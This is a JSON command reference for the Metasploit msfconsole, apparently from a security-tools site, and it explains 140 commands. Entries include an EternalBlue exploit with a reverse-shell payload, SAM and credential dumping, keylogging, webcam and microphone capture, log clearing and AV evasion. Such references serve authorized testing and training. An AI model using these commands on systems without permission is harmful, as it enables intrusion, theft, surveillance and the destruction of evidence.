{"tool":"msfconsole","name":"msfconsole","description":"The interactive console for Metasploit: search, configure and run modules, manage sessions and work with the database.","tags":["Metasploit","console","sessions"],"homepage":"https://www.metasploit.com","docs":"https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html","install":{"apt":"sudo apt install metasploit-framework"},"related":["metasploit","msfvenom"],"total_commands":140,"commands":[{"id":1,"category":"Console Startup","command":"msfconsole","example":"msfconsole","explanation":"Launches the Metasploit Framework interactive console"},{"id":2,"category":"Console Startup","command":"msfconsole -q","example":"msfconsole -q","explanation":"Starts the console in quiet mode without displaying the banner"},{"id":3,"category":"Console Startup","command":"msfconsole -r","example":"msfconsole -r setup.rc","explanation":"Starts the console and executes a resource script containing automated commands"},{"id":4,"category":"Global Help and Documentation","command":"help","example":"help","explanation":"Displays the main help menu with available core commands"},{"id":5,"category":"Global Help and Documentation","command":"help <command>","example":"help search","explanation":"Displays specific usage instructions for a particular command"},{"id":6,"category":"Global Help and Documentation","command":"version","example":"version","explanation":"Shows the currently installed version of the Metasploit Framework"},{"id":7,"category":"Global Navigation","command":"history","example":"history","explanation":"Displays the list of previously executed commands in the current session"},{"id":8,"category":"Global Navigation","command":"connect","example":"connect 192.168.1.10 80","explanation":"Connects to a remote host and port like netcat/telnet for verification"},{"id":9,"category":"Database Management","command":"db_status","example":"db_status","explanation":"Checks the connection status to the backend PostgreSQL database"},{"id":10,"category":"Database Management","command":"workspace","example":"workspace","explanation":"Lists all available workspaces"},{"id":11,"category":"Database Management","command":"workspace -a","example":"workspace -a RedTeamLab","explanation":"Creates and switches to a new isolated workspace"},{"id":12,"category":"Database Management","command":"workspace <name>","example":"workspace RedTeamLab","explanation":"Switches the active context to an existing workspace"},{"id":13,"category":"Importing External Scan Results","command":"db_import","example":"db_import /path/to/nessus_scan.nessus","explanation":"Imports scan results from tools like Nmap, Nessus, or Qualys into the database"},{"id":14,"category":"Database Management","command":"db_nmap","example":"db_nmap -sV -p 445 192.168.1.0/24","explanation":"Runs Nmap wrapper and automatically saves results to the database"},{"id":15,"category":"Hosts and Services","command":"hosts","example":"hosts","explanation":"Lists all hosts discovered in the current workspace"},{"id":16,"category":"Hosts and Services","command":"hosts -c","example":"hosts -c address,os_name","explanation":"Lists hosts displaying only specific columns"},{"id":17,"category":"Hosts and Services","command":"services","example":"services","explanation":"Lists all services discovered on stored hosts"},{"id":18,"category":"Hosts and Services","command":"services -p","example":"services -p 445","explanation":"Filters and displays only services running on a specific port"},{"id":19,"category":"Hosts and Services","command":"vulns","example":"vulns","explanation":"Displays all vulnerabilities recorded for the targets in the database"},{"id":20,"category":"Module Discovery","command":"search","example":"search smb","explanation":"Searches for modules related to a keyword"},{"id":21,"category":"Module Discovery","command":"search type","example":"search type:exploit platform:windows","explanation":"Filters search results by module type and target platform"},{"id":22,"category":"Module Discovery","command":"search cve","example":"search cve:2017-0144","explanation":"Searches for modules matching a specific CVE identifier"},{"id":23,"category":"Module Discovery","command":"search author","example":"search author:rapid7","explanation":"Searches for modules written by a specific author"},{"id":24,"category":"Module Selection","command":"use","example":"use exploit/windows/smb/ms17_010_eternalblue","explanation":"Selects a specific module to configure and execute"},{"id":25,"category":"Module Selection","command":"use <index>","example":"use 0","explanation":"Selects a module by its index number from the previous search results"},{"id":26,"category":"Module Information","command":"info","example":"info","explanation":"Displays detailed information about the currently selected module"},{"id":27,"category":"Module Information","command":"info -d","example":"info -d","explanation":"Displays the documentation and references for the module in markdown format"},{"id":28,"category":"Module Configuration","command":"show options","example":"show options","explanation":"Lists the basic configurable options for the active module"},{"id":29,"category":"Module Configuration","command":"show advanced","example":"show advanced","explanation":"Displays advanced options for fine-tuning the module behavior"},{"id":30,"category":"Module Configuration","command":"show targets","example":"show targets","explanation":"Lists the available target systems/versions for the exploit"},{"id":31,"category":"Module Configuration","command":"show evasion","example":"show evasion","explanation":"Shows options specifically designed to evade IDS/IPS and antivirus"},{"id":32,"category":"Module Configuration","command":"set","example":"set RHOSTS 192.168.1.10","explanation":"Sets a value for a specific option in the current module context"},{"id":33,"category":"Module Configuration","command":"setg","example":"setg RHOSTS 192.168.1.0/24","explanation":"Sets a global variable that persists across different module selections"},{"id":34,"category":"Module Configuration","command":"unset","example":"unset RHOSTS","explanation":"Removes the value of a specific option"},{"id":35,"category":"Module Configuration","command":"unsetg","example":"unsetg RHOSTS","explanation":"Removes a global variable"},{"id":36,"category":"Payload Selection","command":"show payloads","example":"show payloads","explanation":"Lists compatible payloads for the currently selected exploit"},{"id":37,"category":"Payload Selection","command":"set payload","example":"set payload windows/x64/meterpreter/reverse_tcp","explanation":"Selects the specific payload to deliver upon successful exploitation"},{"id":38,"category":"Payload Configuration","command":"set LHOST","example":"set LHOST 10.10.10.5","explanation":"Sets the listening address (attacker IP) for the reverse connection"},{"id":39,"category":"Payload Configuration","command":"set LPORT","example":"set LPORT 4444","explanation":"Sets the listening port on the attacker machine"},{"id":40,"category":"Payload Configuration","command":"generate","example":"generate -f exe -o payload.exe","explanation":"Generates a standalone payload file based on current configurations"},{"id":41,"category":"Encoding and Evasion","command":"show encoders","example":"show encoders","explanation":"Lists available encoders to obfuscate the payload"},{"id":42,"category":"Encoding and Evasion","command":"set ENCODER","example":"set ENCODER x86/shikata_ga_nai","explanation":"Applies a specific encoder to the payload"},{"id":43,"category":"Exploit Execution","command":"check","example":"check","explanation":"Validates if the target is vulnerable without actually exploiting it"},{"id":44,"category":"Exploit Execution","command":"exploit","example":"exploit","explanation":"Executes the exploit module against the target"},{"id":45,"category":"Exploit Execution","command":"run","example":"run","explanation":"Alias for exploit, often used with auxiliary and post modules"},{"id":46,"category":"Exploit Execution","command":"exploit -j","example":"exploit -j","explanation":"Runs the exploit in the context of a background job"},{"id":47,"category":"Exploit Execution","command":"exploit -z","example":"exploit -z","explanation":"Exploits the target but does not interact with the session immediately"},{"id":48,"category":"Background Jobs","command":"jobs","example":"jobs","explanation":"Lists all currently running background jobs"},{"id":49,"category":"Background Jobs","command":"jobs -k","example":"jobs -k 1","explanation":"Terminates a specific background job by its ID"},{"id":50,"category":"Background Jobs","command":"kill","example":"kill 1","explanation":"Kills a running job (alias for jobs -k)"},{"id":51,"category":"Handler Management","command":"handler","example":"handler -H 10.10.10.5 -P 4444 -p windows/meterpreter/reverse_tcp","explanation":"Quickly starts a payload handler without using the multi/handler module"},{"id":52,"category":"Session Management","command":"sessions","example":"sessions","explanation":"Lists all active open sessions"},{"id":53,"category":"Session Management","command":"sessions -i","example":"sessions -i 1","explanation":"Interacts with a specific session ID, entering the shell or meterpreter"},{"id":54,"category":"Session Management","command":"sessions -u","example":"sessions -u 1","explanation":"Attempts to upgrade a basic shell session to a full Meterpreter session"},{"id":55,"category":"Session Management","command":"sessions -k","example":"sessions -k 1","explanation":"Kills a specific active session"},{"id":56,"category":"Meterpreter Core","command":"sysinfo","example":"sysinfo","explanation":"Displays information about the remote system, OS, and architecture"},{"id":57,"category":"Meterpreter Core","command":"getuid","example":"getuid","explanation":"Displays the user the server is running as"},{"id":58,"category":"Meterpreter Core","command":"getsystem","example":"getsystem","explanation":"Attempts to elevate privileges to SYSTEM using various techniques"},{"id":59,"category":"Meterpreter Core","command":"background","example":"background","explanation":"Backgrounds the current meterpreter session returning to msfconsole"},{"id":60,"category":"Meterpreter File System","command":"pwd","example":"pwd","explanation":"Prints the current working directory on the remote machine"},{"id":61,"category":"Meterpreter File System","command":"ls","example":"ls","explanation":"Lists files in the current remote directory"},{"id":62,"category":"Meterpreter File System","command":"cd","example":"cd C:\\Users","explanation":"Changes the current directory on the remote machine"},{"id":63,"category":"Meterpreter File System","command":"cat","example":"cat flags.txt","explanation":"Displays the contents of a file on the remote system"},{"id":64,"category":"Meterpreter File System","command":"upload","example":"upload /usr/share/tools/nc.exe C:\\Windows\\Temp\\nc.exe","explanation":"Uploads a file from the attacker to the victim machine"},{"id":65,"category":"Meterpreter File System","command":"download","example":"download C:\\Windows\\System32\\config\\SAM /tmp/SAM","explanation":"Downloads a file from the victim to the attacker machine"},{"id":66,"category":"Meterpreter File System","command":"edit","example":"edit hosts.txt","explanation":"Opens a file on the remote system in the local editor (vim)"},{"id":67,"category":"Meterpreter File System","command":"search -f","example":"search -f *.kdbx","explanation":"Searches the file system for files matching a pattern"},{"id":68,"category":"Meterpreter Process Mgmt","command":"ps","example":"ps","explanation":"Lists running processes on the remote system"},{"id":69,"category":"Meterpreter Process Mgmt","command":"getpid","example":"getpid","explanation":"Gets the process ID of the current meterpreter injection"},{"id":70,"category":"Meterpreter Process Mgmt","command":"migrate","example":"migrate 1432","explanation":"Moves the meterpreter session into another running process ID"},{"id":71,"category":"Meterpreter Process Mgmt","command":"execute","example":"execute -f cmd.exe -i -H","explanation":"Executes a command on the remote system, optionally hidden"},{"id":72,"category":"Meterpreter Process Mgmt","command":"kill","example":"kill 4402","explanation":"Terminates a process on the remote system by PID"},{"id":73,"category":"Meterpreter Network","command":"ipconfig","example":"ipconfig","explanation":"Displays network interfaces and IP addresses on the target"},{"id":74,"category":"Meterpreter Network","command":"ifconfig","example":"ifconfig","explanation":"Alias for ipconfig"},{"id":75,"category":"Meterpreter Network","command":"netstat","example":"netstat","explanation":"Displays network connections and listening ports on the target"},{"id":76,"category":"Meterpreter Network","command":"arp","example":"arp","explanation":"Displays the ARP cache of the remote system"},{"id":77,"category":"Meterpreter Network","command":"route","example":"route","explanation":"Displays the routing table of the remote system"},{"id":78,"category":"Meterpreter Pivoting","command":"portfwd add","example":"portfwd add -l 3389 -p 3389 -r 10.10.10.50","explanation":"Forwards a local port to a remote service through the meterpreter session"},{"id":79,"category":"Meterpreter Pivoting","command":"portfwd list","example":"portfwd list","explanation":"Lists active port forwarding rules"},{"id":80,"category":"Console Pivoting","command":"route add","example":"route add 10.10.10.0 255.255.255.0 1","explanation":"Routes traffic for a subnet through a specific session ID"},{"id":81,"category":"Console Pivoting","command":"route print","example":"route print","explanation":"Displays the active routing table in msfconsole"},{"id":82,"category":"Meterpreter System","command":"shell","example":"shell","explanation":"Drops into a standard system command shell (cmd or bash)"},{"id":83,"category":"Meterpreter System","command":"idletime","example":"idletime","explanation":"Displays how long the user has been idle"},{"id":84,"category":"Meterpreter System","command":"reboot","example":"reboot","explanation":"Reboots the remote system"},{"id":85,"category":"Meterpreter System","command":"shutdown","example":"shutdown","explanation":"Shuts down the remote system"},{"id":86,"category":"Credential Access","command":"hashdump","example":"hashdump","explanation":"Dumps the contents of the SAM database (password hashes)"},{"id":87,"category":"Credential Access","command":"creds_all","example":"creds_all","explanation":"Dumps all retrieved credentials (plaintext and hashes) via kiwi extension"},{"id":88,"category":"Input Capture","command":"keyscan_start","example":"keyscan_start","explanation":"Starts the keylogger on the remote system"},{"id":89,"category":"Input Capture","command":"keyscan_dump","example":"keyscan_dump","explanation":"Dumps the captured keystrokes"},{"id":90,"category":"Input Capture","command":"keyscan_stop","example":"keyscan_stop","explanation":"Stops the keylogger"},{"id":91,"category":"Surveillance","command":"screenshot","example":"screenshot","explanation":"Takes a screenshot of the remote desktop"},{"id":92,"category":"Surveillance","command":"screenshare","example":"screenshare","explanation":"Watches the remote desktop in real-time via web browser"},{"id":93,"category":"Surveillance","command":"webcam_list","example":"webcam_list","explanation":"Lists available webcams on the target"},{"id":94,"category":"Surveillance","command":"webcam_snap","example":"webcam_snap","explanation":"Takes a picture using the remote webcam"},{"id":95,"category":"Surveillance","command":"record_mic","example":"record_mic -d 10","explanation":"Records audio from the default microphone for X seconds"},{"id":96,"category":"Anti-Forensics","command":"timestomp","example":"timestomp file.txt -z","explanation":"Manipulates file MACE attributes (timestamp)"},{"id":97,"category":"Anti-Forensics","command":"clearev","example":"clearev","explanation":"Clears the Application, System, and Security event logs on Windows"},{"id":98,"category":"Post Exploitation Selection","command":"use post","example":"use post/windows/gather/enum_patches","explanation":"Selects a post-exploitation module"},{"id":99,"category":"Post Exploitation Configuration","command":"set SESSION","example":"set SESSION 1","explanation":"Target a specific active session for the post module"},{"id":100,"category":"Post Exploitation Execution","command":"run","example":"run","explanation":"Executes the post-exploitation module against the session"},{"id":101,"category":"Auxiliary Scanners","command":"use auxiliary","example":"use auxiliary/scanner/smb/smb_version","explanation":"Selects an auxiliary scanning module"},{"id":102,"category":"Auxiliary Scanners","command":"run","example":"run","explanation":"Runs the scanner"},{"id":103,"category":"Local Exploit Suggester","command":"use post/multi/recon/local_exploit_suggester","example":"use post/multi/recon/local_exploit_suggester","explanation":"Checks the session for missing patches and suggests local exploits"},{"id":104,"category":"Socks Proxy","command":"use auxiliary/server/socks_proxy","example":"use auxiliary/server/socks_proxy","explanation":"Sets up a SOCKS proxy to pivot external tools through MSF sessions"},{"id":105,"category":"Loot Management","command":"loot","example":"loot","explanation":"Lists all collected loot (hashes, files, keys)"},{"id":106,"category":"Loot Management","command":"loot -t","example":"loot -t hash","explanation":"Lists loot filtered by type"},{"id":107,"category":"Credential Management","command":"creds","example":"creds","explanation":"Lists all credentials stored in the database"},{"id":108,"category":"Credential Management","command":"creds -a","example":"creds -a user:pass","explanation":"Manually adds a credential to the database"},{"id":109,"category":"Automation","command":"makerc","example":"makerc setup.rc","explanation":"Saves all commands executed in the current session to a resource file"},{"id":110,"category":"Automation","command":"resource","example":"resource setup.rc","explanation":"Executes a resource script file containing msfconsole commands"},{"id":111,"category":"Automation","command":"setg","example":"setg Prompt %T","explanation":"Customizes the console prompt (e.g., adding timestamps)"},{"id":112,"category":"Logging","command":"spool","example":"spool /tmp/msf_log.txt","explanation":"Starts logging all console output to a file"},{"id":113,"category":"Logging","command":"spool off","example":"spool off","explanation":"Stops logging console output"},{"id":114,"category":"Module Editing","command":"edit","example":"edit","explanation":"Opens the currently selected module code in the default editor"},{"id":115,"category":"Developer","command":"reload_all","example":"reload_all","explanation":"Reloads all modules from disk (useful when developing custom modules)"},{"id":116,"category":"Payload Generation","command":"use payload","example":"use payload/windows/meterpreter/reverse_tcp","explanation":"Selects a payload module directly for generation"},{"id":117,"category":"Payload Generation","command":"to_handler","example":"to_handler","explanation":"Creates a handler for the currently selected payload module"},{"id":118,"category":"Cleanup","command":"unset all","example":"unset all","explanation":"Unsets all options for the current module"},{"id":119,"category":"Advanced Option","command":"set VERBOSE","example":"set VERBOSE true","explanation":"Enables verbose output for more detailed execution logs"},{"id":120,"category":"Advanced Option","command":"set WfsDelay","example":"set WfsDelay 10","explanation":"Sets the wait-for-session delay in seconds for slow exploits"},{"id":121,"category":"Advanced Option","command":"set AutoRunScript","example":"set AutoRunScript post/windows/manage/migrate","explanation":"Automatically runs a script upon successful session creation"},{"id":122,"category":"Advanced Option","command":"set PrependMigrate","example":"set PrependMigrate true","explanation":"Automatically migrates the payload process immediately after exploitation"},{"id":123,"category":"Advanced Option","command":"set ExitOnSession","example":"set ExitOnSession false","explanation":"Keeps the listener open even after a session is created"},{"id":124,"category":"Advanced Option","command":"set StagerBlockSize","example":"set StagerBlockSize 8192","explanation":"Adjusts the block size for staging payloads to evade some IPS signatures"},{"id":125,"category":"Module Type","command":"show nop","example":"show nop","explanation":"Lists NOP (No Operation) generators for buffer padding"},{"id":126,"category":"Red Team Workflow","command":"use evasion","example":"use evasion/windows/windows_defender_exe","explanation":"Selects an evasion module designed to bypass AV/EDR"},{"id":127,"category":"Wait Command","command":"sleep","example":"sleep 5","explanation":"Pauses execution for a specified number of seconds (useful in scripts)"},{"id":128,"category":"Ruby Execution","command":"irb","example":"irb","explanation":"Drops into an interactive Ruby shell within the console context"},{"id":129,"category":"Target Management","command":"db_rebuild_cache","example":"db_rebuild_cache","explanation":"Rebuilds the module search cache in the background"},{"id":130,"category":"Notes","command":"notes","example":"notes","explanation":"Lists notes attached to hosts in the database"},{"id":131,"category":"Notes","command":"notes -a","example":"notes -a \"DC Server\"","explanation":"Adds a manual note to a specific host"},{"id":132,"category":"Configuration","command":"save","example":"save","explanation":"Saves the current global options and settings to the config file"},{"id":133,"category":"Console Interface","command":"color","example":"color false","explanation":"Disables color output in the console"},{"id":134,"category":"Host Management","command":"hosts -d","example":"hosts -d 192.168.1.10","explanation":"Deletes a specific host from the database"},{"id":135,"category":"Service Management","command":"services -u","example":"services -uup","explanation":"Lists only services that are currently up/running"},{"id":136,"category":"Search","command":"search -S","example":"search -S keyword","explanation":"Searches strictly for the query string"},{"id":137,"category":"Meterpreter Extension","command":"load kiwi","example":"load kiwi","explanation":"Loads the Kiwi (Mimikatz) extension in Meterpreter"},{"id":138,"category":"Meterpreter Extension","command":"load python","example":"load python","explanation":"Loads the Python extension to run python code in memory"},{"id":139,"category":"Meterpreter Extension","command":"load powershell","example":"load powershell","explanation":"Loads the PowerShell extension to run PS scripts in memory"},{"id":140,"category":"Console Termination","command":"exit","example":"exit","explanation":"Exits the Metasploit console"}],"slug":"msfconsole","category":"exploitation","url":"https://terminal.rokibulroni.com/tool/exploitation/msfconsole","markdown":"https://terminal.rokibulroni.com/api/v1/tools/exploitation/msfconsole.md"}